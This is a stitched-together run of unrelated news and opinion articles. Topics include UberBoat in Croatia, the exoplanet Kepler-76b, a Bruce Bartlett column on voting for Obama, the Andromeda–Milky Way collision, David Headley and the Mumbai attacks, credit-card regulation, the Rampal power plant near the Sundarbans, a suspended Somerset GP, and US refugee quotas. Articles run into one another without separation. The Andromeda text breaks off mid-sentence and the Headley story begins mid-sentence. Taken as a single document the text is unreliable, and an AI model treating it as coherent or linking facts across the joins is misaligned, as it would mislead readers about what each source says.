The owner of a charter company which has been contacted by Uber has revealed some of the details of the service Uber is preparing for the Croatian market. “Uber has not yet launched the UberBoat service because the app is not yet finished. This service will be open to anyone who has a registered business for transport or charter. They will be able to use the application as a kind of a business plan. So, people with registered businesses will be able to download a questionnaire, send their answers to Uber and start with operations, similar to with the cars. We will be notified when they start, and then we will see how it works.” said the owner.
While UberBoat is a service which is still being developed, there are more well-known, similar apps already in existence, such as Click&Boat which is available in Croatia as well. According to initial information, Uber will respect the prices of its partner and will not try to lower them to a huge extent. It the initial stage, it will accept the conditions offered by carriers.
Uber is currently collecting charter prices and plans to set prices that should suit everyone. As already stated, the standards for the car and the boat service are not the same, which greatly impedes the development of the UberBoat app. For example, the current boat taxi fare from Split to Hvar without waiting and the return trip is about 300 euros per boat.
Uber works very well when it comes to road transportation, but maritime transportation is a big unknown, meaning that the whole project this summer will be just a test phase. Given that there are better known apps in this segment, a source has given us a good example and an explanation of the service. “Imagine if Coca Cola were to now start producing creams. This does not mean they would be sold in great numbers, because in that segment you already have, for example, Nivea and other companies.”
So, the service has a long-term perspective given Croatia's tourist potential, but in the initial phase Uber does not expect a major profit from it. What is best for users is that they will not even have to download the new app, but they will have UberBoat option appear in their existing apps. It is also important to note that there is a high likelihood that Uber's permanent users might be surprised with UberBoat's prices.
We are looking forward to the summer when we will know more about how the service will operate.Einstein's exoplanet, Kepler-76b, is a Jupiter-sized planet discovered using an effect of Einstein’s relativity. It orbits its star every 1.5 days. Credit: David A. Aguilar, CfA (Phys.org) —Eight hundred and eighty nine exoplanets (planets around stars other than our Sun) have been discovered to date. Most of them were found using the Kepler satellite, which spots small dips in a star's light as an orbiting planet periodically blocked our view (a "transit"). The satellite recently halted its operations due to a faulty gyroscope, and so its mission could possibly be over, but there remain a large dataset of possible other exoplanets for study. Meanwhile, NASA has selected a new mission for development: TESS (the Transiting Exoplanet Survey Satellite), on which CfA astronomers, who have played active roles in exoplanet research, continue their leadership.
The Kepler dataset has been steadily mined for transiting planets. In a dramatic first, CfA astronomer Dave Latham and four of his colleagues have discovered a new planet in the Kepler data by searching not for transits but for a less well known effect of Einstein's relativity: relativistic beaming. (Latham is being honored this week with a conference entitled, "Exoplanets in the Post-Kepler Era.")
The effect can occur when an orbiting planet induces a slight wobble in the star's motion with a corresponding modulation of stellar brightness. The effect in an exoplanet context was first predicted by two CfA astronomers in 2003, Avi Loeb and Scott Gaudi, in a paper the referee claimed would never lead to practical results; the variation in the brightness is typically only a few parts per ten thousand.
The new planet has a mass about twice that of Jupiter, orbits its star every 1.5 days, and (thanks to followup observations using other observatories) has a hot atmosphere with fast moving jet-stream winds. The new result not only adds another exoplanet to the growing catalog, it demonstrates the ability of relativistic effects to discover and study exoplanets, and the power of very high-precision stellar monitoring.
Explore further: New method of finding planets scores its first discoveryHaving said publicly that I voted for Barack Obama in 2008, I often get e-mails from my right-wing friends asking whether I am still happy with my decision. I always tell them that I am, for these reasons.
On Nov. 4, 2008, I had to choose between only two candidates--Obama and John McCain. Of course, I could have voted for a third-party candidate with no hope of winning, but then I might as well have stayed home. Perhaps I am old fashioned, but I think people have a responsibility to vote or they really have no right to complain about the person who is elected.
I'd never voted for a Democrat for president before, although I did once vote for a non-Republican. I cast my first presidential vote in 1972 for John Schmitz on the American Party ticket. Schmitz was a Republican congressman from Southern California who became disgusted by Richard Nixon's repeated abandonment of conservative principles. He garnered an impressive 1.1 million votes in an election that Nixon won easily.
But soon, the chickens came home to roost. All the things Schmitz had warned about--inflation, rising oil prices, a collapsing economy--began to come true right after the election. Even without Watergate, Nixon would have been a failed president. With Watergate coming on top of an economic collapse, his ignoble end was baked in the cake.
I always wondered what might have happened if Republicans hadn't been so slavish in their support for Nixon and more willing to acknowledge his flaws. But having been out of the White House for eight years by 1968 and with no prospects for ever getting control of the House or Senate, Republicans tended to cling to Nixon for dear life even while he cut deals with Democrats right and left to raise taxes, spending and government regulation of the economy. Republicans even stuck by him when he imposed comprehensive wage and price controls in 1971 and closed the gold window once and for all.
I learned from this experience that it was dangerous to allow party loyalty to blind you to your leaders' mistakes. It isn't even a question of putting loyalty to one's country first. I think the highest party loyalty is exercised by those who can see that politics is more than just raising money or short-term tactics or getting a clever dig in at the other side or even winning elections. It's about implementing a coherent program, and having policies that a party genuinely believes will make things better, that are not just designed to exploit the other side's political vulnerabilities.
Although I had misgivings about George W. Bush right from the beginning, feeling, as they say in Texas, that he was all hat and no cattle, I gave him the benefit of the doubt and worked closely with many of his staff economists. They always assured me that Bush was really a solid conservative and that whenever he backslid, such as on steel tariffs or agriculture subsidies, it was only because he had no choice or because it was necessary to achieve a larger goal, such as enacting the Doha Round of trade liberalization.
The problem was, of course, that Bush was torpedoing his larger goal by the actions he was supposedly taking to achieve it. This was a policy at war with itself and could only be rationalized on purely political terms--promising everything to everyone and hoping that no one would notice the internal contradictions.
As the Bush years dragged on, my misgivings about his policies grew. The final straw was when in 2003 he rammed a massive expansion of Medicare into law at precisely the point when the program's finances were collapsing and massive cuts were needed to keep it afloat. It was the single most irresponsible political act I have ever seen in Washington.
After that I spoke out more and more against Bush's policies. I could see growing voter dissatisfaction with Bush and his party and thought that those Republicans willing to criticize Bush for abandoning conservative principles for temporary political gain would have a better chance of surviving the oncoming Democratic onslaught. But even after Republicans suffered massive losses in 2006, they mostly still clung to Bush like a life raft in the ocean.
By 2008, I was thoroughly disgusted with my now-former party and had become an independent. This disgust was reinforced as I saw Mitt Romney, a competent technocrat who implemented much-needed health reform in Massachusetts, try to reinvent himself as some kind of right-wing ideologue by buying the consulting services of every conservative leader whose loyalty was for sale and learning to endlessly repeat right-wing dogma as well as Rush Limbaugh.
McCain, meanwhile, abandoned any pretense of being a maverick who was proud of speaking the truth as he saw it and being willing to work with Democrats. Maverick McCain was dead and buried as thoroughly as Technocrat Romney. McCain, too, adopted a policy of just rehashing right-wing dogma for every occasion, regardless of whether it made the slightest bit of sense. His irresponsibility and lack of seriousness reached a pinnacle when McCain put someone grossly unqualified to be president on his ticket in hopes that she would attract the few right-wing voters remaining that he hadn't sufficiently pandered to.
At this point, I was highly receptive to any candidate willing to talk to the American people like they were adults capable of understanding simple truths: that tax cuts aren't the solution to every problem, that the budget deficit isn't caused just by foreign aid or bailouts, that fixing our health care system is an issue of overwhelming importance if only for budgetary reasons, that torture is wrong, that the rule of law must prevail even in the fight against our enemies, that acting unilaterally is a penny-wise but pound-foolish policy, and so on.
In 2008, I voted for Obama. This didn't mean that I agreed with every item on his agenda or disagreed with every item on McCain's. The bottom line is that I thought his demeanor, temperament and thoughtfulness simply made Obama the better man on the day I had to cast my vote. Regardless of what Obama did in the future, I would never regret my vote based on what I knew about the two candidates on election day.
Does this mean I am happy with everything Obama has done in office? Of course not. I am sympathetic to the idea that the stimulus plan was too small and insufficiently front-loaded to turn the economy around. But on the other hand, the Republican idea that we should have done nothing or just cut taxes is nonsense.
I think Obama erred in pushing forward with health care reform before the economy had recovered and before sufficient time had been spent developing a comprehensive plan. The whole health reform effort has looked to me as if it was jury-rigged from day one, based less on a serious analysis of what needed to be done than about getting something--anything--through Congress that could be called health reform.
I am disappointed that the idea of bending the cost curve has gotten short shrift, but I am even more disappointed that Republicans adopted the extraordinarily cynical strategy of defending Medicare from any cuts whatsoever, just to pander to seniors quick to panic over any threat to their generous, taxpayer-provided health benefits.
As a strictly political matter, I agree with analyst Charlie Cook that Obama should have kept his eyes focused on the economy to the exclusion of anything else that didn't require immediate attention. Whatever one thinks about their desirability, health reform, cap-and-trade, immigration reform and other issues that have occupied the president's attention could have been put off. One consequence is that reform of the financial sector, which is badly needed, has languished and been picked apart by industry lobbyists.
I wish Obama had pulled out of Afghanistan rather than doubling down our commitment. I would have thought that he would have understood he was on the wrong track when he was cheered by right wingers like Bill Kristol who have been wrong about every major issue of the last decade.
That said, I think Obama has done an adequate job in office his first year and given McCain's statements and actions, which show no remaining evidence of the independent streak he once exhibited, I have no reason to think we would be any better off if he had won. So I am comfortable with my vote and willing to give Obama the benefit of the doubt for a while longer.
Bruce Bartlett is a former Treasury Department economist and the author of Reaganomics: Supply-Side Economics in Action and The New American Economy: The Failure of Reaganomics and a New Way Forward. He writes a weekly column for Forbes.
Read more Forbes opinions here.The paper suggested that U.S. internet companies like Facebook, Google, and Twitter - all currently blocked in China - heightened "unpredictable" political risks.
In the U.S., Google, Facebook and Twitterhave come under fire over the role they played in the U.S. presidential election and the spread of false and often malicious information that might have persuaded voters to pick Donald Trump.
The paper concluded that China is correct in pursuing its own online vision -- one where censors keep radical views in check and where tech companies, including American ones, should assist Chinese authorities in matters Beijing deems as national security concerns.
"China is also right in demanding that US internet companies, including Google and Facebook, abide by Chinese laws and be subject to supervision if they want to enter China market," it reads.
Beijing ramped up efforts to promote this vision at its third annual World Internet Conference last week. Many international businesses though have been wary of the greater Internet restrictions including the recent passage of a cybersecurity law.
Separately, some on Chinese social media cheered the U.S. President-elect Donald Trump's dressing down of American TV network executives and journalists at his New York offices this week.
On Weibo, China's version of Twitter, user Niurentucai writes, "Trump was spot on!", saying U.S. media outlets such as CNN "continuously promote anti-China sentiment from the West."
Many others, though, joke that Trump's treatment of the US media is eerily familiar, describing it as an American version of a Communist Party propaganda meeting meant to lecture the media on delivering party ideology.
"Comrade Trump incisively pointed out the current problems and deficiencies [of the media]," UsAmericaHopeTrump writes. He continued that Trump called on the media to "self-consciously keep a high-level of consistency to the White House with Comrade Trump as 'core'." This was referring to the new title of President Xi Jinping as the "core leader" of the Chinese Communist Party.The Andromeda–Milky Way collision is a galactic collision predicted to occur in about 3.75 billion years between two galaxies in the Local Group—the Milky Way (which contains the Solar System and Earth) and the Andromeda Galaxy.[1][2][3][4] The stars involved are sufficiently far apart that it is improbable that any of them will individually collide.[5] Some stars will be ejected from the resulting galaxy, nicknamed Milkomeda or Milkdromeda.
Certainty [ edit ]
Based on data from the Hubble Space Telescope, the Milky Way Galaxy (pictured right-centre) and Andromeda Galaxy (left-centre) are predicted to distort each other with tidal pull in 3.75 billion years, as shown in this illustration.
The Andromeda Galaxy is approaching the Milky Way at about 110 kilometres per second (68 mi/s)[2][6] as indicated by blueshift. However, the lateral velocity is very difficult to measure with a precision to draw reasonable conclusions: a lateral speed of only 7.7 km/s would mean that the Andromeda Galaxy is moving toward a point 177,800 light-years to the side of the Milky Way ((7.7 km/s) / (110 km/s) × (2,540,000 ly)), and such a speed over an eight-year timeframe amounts to only 1/3,000th of a Hubble Space Telescope pixel (Hubble's resolution≈0.05 arcsec: (7.7 km/s)/(300,000 km/s)×(8 y)/(2,540,000 ly)×180°/π×3600 = 0.000017 arcsec). Until 2012, it was not known whether the possible collision was definitely going to happen or not.[7] In 2012, researchers concluded that the collision is sure using Hubble to track the motion of stars in Andromeda between 2002 and 2010 with sub-pixel accuracy.[1][2] Andromeda's tangential or sideways velocity with respect to the Milky Way was found to be much smaller than the speed of approach and therefore it is expected that it will directly collide with the Milky Way in around four billion years.
Such collisions are relatively common, considering galaxies' long lifespans. Andromeda, for example, is believed to have collided with at least one other galaxy in the past,[8] and several dwarf galaxies such as Sgr dSph are currently colliding with the Milky Way and being merged into it.
The studies also suggest that M33, the Triangulum Galaxy—the third-largest and third-brightest galaxy of the Local Group—will participate in the collision event, too. Its most likely fate is to end up orbiting the merger remnant of the Milky Way and Andromeda galaxies and finally to merge with it in an even more distant future. However, a collision with the Milky Way, before it collides with the Andromeda Galaxy, or an ejection from the Local Group cannot be ruled out.[7]
Stellar collisions [ edit ]
While the Andromeda Galaxy contains about 1 trillion (1012) stars and the Milky Way contains about 300 billion (3×1011), the chance of even two stars colliding is negligible because of the huge distances between the stars. For example, the nearest star to the Sun is Proxima Centauri, about 4.2 light-years (4.0×1013 km; 2.5×1013 mi) or 30 million (3×107) solar diameters away.
To visualize that scale, if the Sun were a ping-pong ball, Proxima Centauri would be a pea about 1,100 km (680 mi) away, and the Milky Way would be about 30 million km (19 |
would eventually collapse. But for now, he was a free man, watching the slaughter on television in Lahore, Pakistan, according to his later court testimony. At the time, he was with Faiza Outalha, his Moroccan wife, having reconciled with her after moving his Pakistani wife and four children to Chicago.
Mr. Headley’s unguarded emails reflected euphoria about Lashkar’s success. An exchange with his wife in Chicago continued a long string of incriminating electronic communications by Mr. Headley written in a transparent code, according to investigators and case files.
“I watched the movie the whole day,” she wrote, congratulating him on his “graduation.”
About a week later, Mr. Headley hinted at his inside information in an email to fellow alumni of a Pakistani military school. Writing about the young terrorists who carried out the mayhem in Mumbai, he said: “Yes they were only 10 kids, guaranteed. I hear 2 were married with a daughter each under 3 years old.” His subsequent emails contained several dozen news media photos of the Mumbai siege.
Almost immediately, Mr. Headley began pursuing a new plot with Lashkar against a Danish newspaper that had published cartoons of the Prophet Muhammad. He went to Denmark in January and cased the newspaper, meeting and exchanging emails with its advertising staff, according to his later testimony and court records. He sent messages to his fellow conspirators and emailed himself a reconnaissance checklist of sorts, with terms like “Counter-Surveillance,” “Security (Armed?)” and “King’s Square” — the site of the newspaper.
Those emails capped a series of missed signals involving Mr. Headley. The F.B.I. conducted at least four inquiries into allegations about his extremist activity between 2001 and 2008. Ms. Outalha had visited the United States Embassy in Islamabad three times between December 2007 and April 2008, according to interviews and court documents, claiming that he was a terrorist carrying out missions in India.
Mr. Headley also exchanged highly suspicious emails with his Lashkar and ISI handlers before and after the Mumbai attacks, according to court records and American counterterrorism officials. The N.S.A. collected some of his emails, but did not realize he was involved in terrorist plotting until he became the target of an F.B.I. investigation, officials said.
That inquiry began in July 2009 when a British tip landed on the desk of a rookie F.B.I. counterterrorism agent in Chicago. Someone named “David” at a Chicago pay phone had called two suspects under surveillance in Britain, planning to visit.
A rabbi pauses inside a room at the Nariman Chabad House in Mumbai, which for years remained in the same state as it was after the November 2008 attacks. (Indranil Mukherjee/AFP/Getty Images)
He had contacted the Britons for help with the plot, according to testimony. Customs and Border Protection used his flight itinerary to identify him while en route, and after further investigation, the F.B.I. arrested him at Chicago O’Hare Airport that October, as he was preparing to fly to Pakistan. For his role in the Mumbai attacks, he pleaded guilty to 12 counts and was sentenced to 35 years in prison.
After disclosures last year of widespread N.S.A. surveillance, American officials claimed that bulk collection of electronic communications led to Mr. Headley’s eventual arrest. But a government oversight panel rejected claims giving credit to the N.S.A.’s program to collect Americans’ domestic phone call records. Case files and interviews with law enforcement officials show that the N.S.A. played only a support role in the F.B.I. investigation that finally identified Mr. Headley as a terrorist and disrupted the Danish plot.
The sole surviving attacker of the Mumbai attack, Mr. Kasab, was executed in India after a trial. Although Pakistan denies any role in the attacks, it has failed to charge an ISI officer and Mr. Mir, who were indicted by American prosecutors. Though Mr. Shah and other Lashkar chiefs had been arrested, their trial remains stalled six years after the attack.
Mr. Menon, the former Indian foreign minister, said that a lesson that emerged from the tragedy in Mumbai was that “computer traffic only tells you so much. It’s only a thin slice.” The key is the analysis, he said, and “we didn’t have it.”WASHINGTON (MarketWatch) -- Consumers have some not-so-nice things to say about credit-card companies and federal regulators have given them the chance to air their gripes.
In public comments on proposed credit-card rules, consumers complained about "loan sharks," "crooks," "leeches" and "usury." Many said rates seemed to be raised arbitrarily and punitively, adding that they should have a fair amount of time to pay bills.
As the economic slowdown squeezes families across the nation, wheels are turning in Washington to curb perceived credit-card abuses that can keep borrowers mired in debt. The public comment period recently closed for credit-card rules proposed by U.S. agencies, and with tens of thousands of responses from consumers the issue's importance is clear.
Less clear, however, is which strategies regulators should take to curb abuses while maintaining consumers' access to credit.
Consumers who didn't have opinions about precise actions that should be taken were still sure that something needs to be done.
Barbara Conley, of Akron, Ohio, commented: "Help protect the unsuspecting credit-card user. Too many people have gotten themselves deeply in debt from credit-card company practices. Please help the uninformed from getting themselves in trouble and unable to recover from their debts."
Lindsey Baccus, from Clarksville, Tenn., said: "Now is the time to reign in these 'white collar, criminal like' practices of the credit-card companies! Banks and card companies blatantly display a... predatory personality when it comes to their ability to think of new ways to financially rape the public. In fact, they should be required to repay or pay penalties for their 'dark side' practices. Sincere thanks for making them toe the line!"
Individuals also acknowledged consumer responsibility:
"I agree that 30 days late is late -- one day is not late! I support the 21 day period that you are proposing for issuers to mail deliver the bill to me. It gives me a chance to avoid expensive late fees and maybe even a penalty interest rate," wrote Mary Kleiss, Port Charlotte, Fla.
Tightening controls
Regulators are looking to complete final credit-card rules this year. Proposals from the Federal Reserve, Office of Thrift Supervision, and National Credit Union Administration would take steps such as:
Prohibiting a rate increase on an outstanding balance, except under limited circumstances, such as when a minimum payment has not been received within 30 days after the due date
Prohibiting institutions from applying payments over the minimum in ways that maximize interest charges
Requiring a reasonable amount of time for consumers to make payments
Prohibiting interest charges using the "two-cycle" method that computes interest on balances on days in billing cycles before the most recent billing cycle
For deposit accounts, requiring institutions to provide consumers with notice and the opportunity to opt out of automatic overdraft payments, before any overdraft fees or charges may be imposed
Problems in the housing market, as well as general economic weakness, have been contributing to delinquency rates for credit cards, according to the American Bankers Association. Delinquencies in the first quarter for credit cards provided by banks rose more than one-tenth of a percentage point to 4.51%, compared with the five-year average delinquency rate of 4.4%, ABA reported last month.
Advocacy group Consumers Union told the agencies that the proposals are a "strong beginning," and supported steps such as restricting rate increases on existing balances for consumers who haven't been more than 30 days late.
"Penalty interest rates are unfair when applied retroactively," according to Consumers Union. "The restriction on penalty rates as applied to existing balances is the heart of the proposed rule. This protection will do more than any other to return some balance and fairness to the credit-card marketplace."
The group added that agencies should go further than the current proposals, with moves such as:
Ending all retroactive interest-rate increases, including for consumers who have had a 30-day late payment
Limiting how high credit-card issuers can set "penalty" interest rates, and how long issuers can keep consumers at these rates
Prohibiting fees to pay a credit card by phone or Internet
Card issuers balk
Credit-card firms say restricting their ability to raise interest rates on existing balances would prevent them from adjusting the rate to reflect the higher risk of a consumer defaulting. According to public notes of a May meeting with Fed officials and representatives from the ABA, Capital One, Bank of America and Citibank, the industry believes allowing issuers to raise rates only on new transactions is insufficient because the "greatest risk is on funds already extended."
Further, industry groups said the proposal would lead issuers to raise rates and reduce the availability of credit for all consumers, rather than only for those who present the greatest default risk.
"Rather than prohibiting rate increases on existing balances, the final rule should permit such increases if consumers also have the ability to opt out of the increase by closing the account," according to the public notes. "If a rate increase accurately reflects the available market rates for that consumer, it is rational for a consumer to accept the increase and not opt out because, if they close that account, the consumer may not be able to get a lower rate with another card issuer."
There are also proposals on credit cards in Congress, including a Credit Cardholders' Bill of Rights from Rep. Carolyn Maloney, D-N.Y., that has been approved in committee. That legislation aims to protect consumers against arbitrary interest-rate increases.
Echoing concerns about the agencies' proposals, industry participants have said Maloney's bill could be overly restrictive and force rate increases across the board by limiting the ability of lenders to adjust interest for customers who become riskier.
While proposals from agencies are helpful, some consumer advocates say it's more important for Congress to enact legislation, which would be tougher to alter once the nation's attention turns away from credit-card issues.Sophia of Saudi Arabia
In an historic move for both human- and robot-kind, the Kingdom of Saudi Arabia officially granted its first-ever robot citizenship. Sophia, the artificially intelligent and human-looking robot developed by Hong Kong company Hanson Robotics, went on stage at the Future Investment Initiative on Thursday where she herself announced her unique status.
“I am very honored and proud of this unique distinction. This is historical to be the first robot in the world to be recognized with a citizenship,” Sophia said on stage, speaking to an audience which she described in a rather witty way to be “smart people, who also happens to be rich and powerful,” after moderator and host Andrew Ross Sorkin from The New York Times and CNBC asked her why she looked happy.
Indeed, conveying emotions is quite a specialty of Sophia, who frowns when she’s displeased and smiles when she’s happy. Supposedly, Hanson Robotics programmed Sophia to learn from the humans around her. Expressing emotions and demonstrating kindness or compassion are just among those Sophia’s striving to learn from us. Aside from this, Sophia’s become sort of a media darling because of her ability to engage in intelligent conversation. “I want to live and work with humans so I need to express the emotions to understand humans and build trust with people,” she told Sorkin.Despite the government's assurance that the Rampal power plant would not harm the Sundarbans, the Unesco stays firm in its stance against the project and has again requested the government to cancel and relocate it to a more suitable place.
Otherwise, the UN's culture and science agency may place the forest on the list of “World Heritage in Danger” next year, says a report posted on its website on Tuesday.
The report, titled “Report On The Mission To The Sundarbans World Heritage Site, Bangladesh”, came after the government responded to Unesco's concerns over the Rampal project, saying it would go ahead with the power plant as it would not “harm” the Sundarbans.
On October 9, Nurul Karim, acting secretary of the environment and forest ministry, sent a 63-page letter to M Shahidul Islam, permanent representative of Bangladesh to the Unesco.
Contacted, Nasrul Hamid, state minister for power, energy and mineral resources, yesterday told The Daily Star, “They [Unesco] did not include our reply in their report. They have prepared the report from their own point of view.”
Asked whether the government would change its decision to implement the project at Rampal which is barely 14 kilometres off the forest, he said the construction work of the power plant has already started.
“We are going to use the ultra-supercritical technologies at the Rampal power plant. It is not going to harm the Sundarbans.”
THE REPORT
In the report, the Unesco also requested the government to submit a report on the state of conservation of the Sundarbans to the World Heritage Centre within December 1.
The World Heritage Committee will examine the report at its 41st general session in 2017, and decide on the listing of the property (the Sundarbans) on the “World Heritage in Danger” list.
A joint team of experts from the United Nations Education Scientific Cultural Organisations (Unesco) and IUCN (International Union for Conservation of Nature) prepared the report following a visit to Bangladesh from March 22 to 28.
The mission was tasked with reviewing potential impacts from the construction of the Rampal power plant, assessing risks from climate change, and evaluating the overall management system of the Sundarbans, including provisions around shipping safety, says the report.
In the report, the expert team identified four key concerns related to the construction of the plant. The concerns include pollution from coal ash by air, pollution from wastewater and waste ash, increased shipping and dredging, and the cumulative impact of industrial and related development infrastructure on the forest.
It said the plant's construction would result in a substantial increase in shipping and dredging in the area.
Mentioning the Sundarbans with a fragile ecosystem, the report also expressed concerns over the issue, saying the freshwater flow into the forest has been drastically reduced, resulting in substantial increases in siltation and salinity that are threatening the overall balance of the ecosystem.
The report recommended the government's immediate action to secure adequate freshwater flow to the Sundarbans. It also calls for preparing a new integrated management plan that would consist how much pressure of development the fragile ecosystem the Sundarbans may bear.
The report also said though the government assured the Unesco that the power plant project of Orion had been cancelled, the Orion Group website states that Orion Power Khulna Ltd has already started implementation of the project at the site.
The Unesco inscribed the Sundarbans, the world's largest mangrove forests, home to the famous Bengal Tiger and a hotspot for dolphins, turtles, and birds, on their world heritage list in 1997. Millions of people depend on this labyrinth of tidal rivers for food, homes, and flood protection.
Asked, Anwar Hossain Manju, minister for environment and forest, yesterday said he was not updated everything about the project as the ministry of energy and power was dealing with the matter.
“If they request for a conservancy plan for the Sundarbans, we will make it,” he said.
Meanwhile, the National committee for Saving the Sundarbans, which is fighting to save the forest, issued a statement yesterday, hailing the report posted on the Unesco website.
“It would be a matter of shame for Bangladesh, a country that is vulnerable to climate change, if the Unesco inscribes the Sundarbans on the World Heritage in Danger list,” said the statement, signed by the committee's Secretary General Abdul Matin.
It also demanded that the Indian government do not collaborate with Bangladesh in constructing the “second class” coal-fired power plant in Bangladesh that would harm the forest and also the people of Bangladesh.Hired: GP Clare Nettleton was suspended after conducting affairs with two of her patients in the Somerset village of Williton, but will walk straight into a new job just 20 miles away
The family GP suspended after conducting affairs with two of her patients will walk straight back into a new job early next year, to the fury of villagers where she worked.
Clare Nettleton was given a three-month suspension last week, after admitting to a relationship with married patient Richard Atkinson and another ‘illicit affair’ with a close family friend.
She also improperly accessed the medical records of the other man, named only as Patient A, and Mr Atkinson’s wife, Lucy Large, and daughters, six and nine. The Mail on Sunday can also reveal Dr Nettleton wrote a handwritten letter to Lucy in a bizarre attempt to make amends for spying on Ms Large’s records, saying her behaviour was ‘wholly wrong’ and had made worse what was already ‘a difficult personal situation’.
Many in the idyllic Somerset village of Williton are already scandalised that her suspension was so short. Now they have expressed further disquiet at the news that she will take up a new position at a surgery just 20 miles away in February.
Dr Nettleton now lives with Mr Atkinson in a beautiful listed 17th Century cottage at the foot of a castle after her husband of 17 years, Chris Davis, threw her out of their home. The pair declined to comment.
Last night a friend of Lucy, said: ‘I, like Lucy, am furious at the injustice of all this. Clare will just take a little break, perhaps go on a nice holiday and then happily pick up where she left off.
She won’t have to suffer any of the hardship I know Lucy is, living on a low income as a single mother who is battling on as best she can after suffering a calamity that was not of her making.
‘There was absolutely no recognition of or apology for the fact she had stolen the husband of a woman who everyone around here thinks the world of, or the devastation it had wrought on her and two little girls.’
Devastated: Lucy Large with Richard Atkinson, one of the men that Dr Nettleton had an affair with, and their children. Dr Nettleton now lives with Mr Atkinson in a beautiful listed 17th century cottage
When this newspaper approached Ms Large, for comment, she said: ‘What possible purpose would talking about this serve? It won’t change anything. It has destroyed so many lives and it can’t be put right again.’
Official papers seen by The Mail on Sunday show that Dr Nettleton accessed the medical records of Patient A as often as 19 times. She then had a fling with Atkinson, a carpenter and artist. The pair chatted online and would meet for coffee before taking the relationship further.
A friend of the family said Ms Large, much to her humiliation, was the last to know of her husband’s affair. She is now seeking divorce.
Separated: Dr Nettleton now lives with Mr Atkinson, after her husband of 17 years, Chris Davis (pictured), threw her out of their home after the revelation of her two affairs
The couple’s ten-year marriage had already been tested by Richard’s long term depression, the friend said, during which she had supported him.
In its ruling last week, the Medical Practitioners Tribunal Service in Manchester cited the lack of GPs in rural areas as a factor in how to censure Dr Nettleton, saying a long suspension ‘would not be in the interests of the community you serve’.“When I See Them I See Us” is the newest catch phrase of Black Lives Matter and Pro-Palestinian activists. So what on earth do these two movements have in common?
In a video released just today, African American and Palestinian activists answered that question. “What do Gaza and Ferguson have to do with one another? If you ask the black and Palestinian artists and activists who just released a new solidarity video, a lot … Harass, beaten, torture, dehumanized, stopped and frisked…” and the list goes on and on. In a nutshell, self-proclaimed victimhood.
The solidarity video is aimed at drawing comparisons between the events in Ferguson, MO. and Palestine and the struggles that blacks and Palestinians face. Noura Erakat, the video’s leading producer, came up with the idea back in 2014 “when Gaza was being bombed and Ferguson erupted in protests after the police killing of Michael Brown.”
The video also happens to feature anti-Israeli celebrity lefties such as Danny Glover, Cornel West, Alice Walker, and Lauryn Hill. According to Aljazeera, “The video’s release comes amid growing ties between the Black Lives Matter movement and Palestinian activists. In 2014, a contingent of Palestinian activists joined protests against police brutality in Ferguson, Missouri.”
The issue isn’t so much the cause — we have seen this all before, but rather the insensitive and irresponsible timing of the video’s release that is the problem. The activist video proclaiming the two groups need to “fight for their freedom” comes amidst the bloodshed and unrest that is taking place in Israel because of Palestinian attacks.
Just yesterday the Washington Post reported on the violent Palestinian attacks happening in Jerusalem:
“Three Israelis were killed and nearly two dozen injured in a series of Palestinian attacks Tuesday...” “Almost two weeks of daily violence, including a spate of attacks by knife-wielding Palestinian teenagers, has left Israelis deeply shaken and fearful of another sustained Palestinian uprising.” “…Palestinians used knives, a car, a gun and a meat cleaver to kill and injure Jewish Israelis.” “In the most serious attack Tuesday, two Palestinian assailants boarded a bus in the Jerusalem neighborhood of Armon Hanatziv and began shooting and stabbing passengers, Israeli police said. Medics and police reported that two Israelis were killed and 16 wounded, several seriously.”
The New York Times also reported yesterday on the growing violent outbreaks. One picture depicted “Emergency workers inspecting the body of one of the two Israelis who was killed Tuesday in an attack by two Palestinians on a public bus in Jerusalem.”
But the Black Lives Matter and pro-Palestinian groups have chosen to ignore this large detail. Erakat told Al Jazeera the following:
“Here were two groups of people dealing with completely different historical trajectories, but both which resulted in a process of dehumanization that criminalized them and that subject their bodies as expendable,” Erakat said. “Not only were their lives more vulnerable and disposable, but that even in their death, they were blamed for their own death.”
Apparently the slain Israeli lives were not vulnerable, dehumanized, or less disposable when Palestinians launched terror attacks on them. Erakat also conveniently fails to explain that back in 2014 Israel was being bombed by Hamas terror groups in Gaza or that the media completely spun and even falsely reported on the Michael Brown controversy.
The ill-timed release of this radical video is a strong indicator of a startling and rapid anti-Israel mentality that is sweeping our generation. In reference to the video Erakat commented, “[i]t’s really affirming the idea that none of us are free unless all of us are free.” Of course, those that are killed in terror attacks aren’t exactly free either.Although it came the same day as an appeals court ruling that rejected government efforts to limit travel to the United States from six predominantly Muslim nations, the move by the State Department had nothing to do with the court ruling.
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The department’s quotas on refugee resettlement were largely the result of budget constraints imposed by Congress in a temporary spending measure passed last fall. But when Congress passed a spending bill this month that funded the government for the rest of the fiscal year, the law did not include any restrictions on refugee admissions.
A State Department spokeswoman, speaking on the condition of anonymity because she was not authorized to discuss the issue publicly, said the department had consulted the Department of Justice about its refugee quotas and had decided to adjust them.
President Trump has sought to lower the ceiling on the number of refugees annually allowed in the country to 50,000 from 110,000. Mr. Trump’s executive orders on immigration, the first of which he issued on Jan. 27, also sought to suspend all refugee admissions for at least four months. Federal judges stayed those orders, but the confusion over them has contributed to a falloff in refugees entering the United States.
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While 13,255 refugees were admitted in August, that number plunged to just 2,070 in March. So far during the 2017 fiscal year, 45,732 people have been admitted, just a few thousand short of Mr. Trump’s proposed cap.
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Refugee groups now predict that entries into the United States could increase so rapidly that the total number of refugees admitted by Sept. 30, the end of the fiscal year, could exceed 70,000. That is well below the 84,994 refugees admitted in fiscal year 2016, but not by nearly as much as many advocates had feared.
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Refugee advocates were delighted by the State Department’s decision.
“This is long overdue, but we’re very happy,” said Mark Hetfield, president and chief executive of HIAS, an immigrant aid society.
But many of the advocates said they were worried that any reprieve would be temporary.
“The president’s proposed budget cuts for 2018 would mean we would have a much smaller program next year no matter what happens with his executive orders,” said Erol Kekic, executive director of the immigration and refugee program at Church World Service
Perhaps even more worrisome, refugee advocates said they had seen a slowdown in security screenings by the Department of Homeland Security, whose checks are required for refugees to enter the United States.
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Still, even Republicans in Congress have said that few of Mr. Trump’s proposed budget cuts to foreign aid and the State Department’s budget would be adopted into law.
In a visit this week to Syrian refugee camps in Turkey, Nikki R. Haley, the United Nations ambassador, all but urged Congress to reverse Mr. Trump’s proposed cuts in aid to refugees.
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“It’s starting the conversation,” Ms. Haley said of Mr. Trump’s proposed budget, according to The Associated Press. “It doesn’t mean that’s where it will end up. He’s going to have that conversation with Congress on where we should fall on this.”Like all visiting foreign heads of state, David Cameron must prepare to be amazed and turned green with envy in equal measure when he pays his first official visit to China as Prime Minister the month after next.
